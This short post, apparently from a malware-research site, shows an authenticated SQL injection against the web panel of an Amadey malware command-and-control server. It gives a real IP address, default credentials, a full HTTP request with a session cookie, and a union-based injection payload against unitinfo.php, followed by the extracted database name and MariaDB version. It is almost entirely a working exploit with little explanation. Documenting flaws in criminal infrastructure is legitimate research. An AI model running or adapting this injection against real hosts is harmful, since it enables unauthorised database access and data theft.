Authenticated Amadey C2 Sql Injection - Malwr

Authenticated Amadey C2 Sql Injection

Date: 2020-04-13

Login default username and password observer:observer

http://217.8.117.76/tools/ports/apps/unitinfo.php?id=2549075922

GET /tools/ports/apps/unitinfo.php?id=2549075922 HTTP/1.1
Host: 217.8.117.76
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=as63d340agriodsfkhop4m6l85
Upgrade-Insecure-Requests: 1

Union Based Sqli

http://217.8.117.76/tools/ports/apps/unitinfo.php?id=2549075922 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15

database: a2020

version: 5.5.64-MariaDB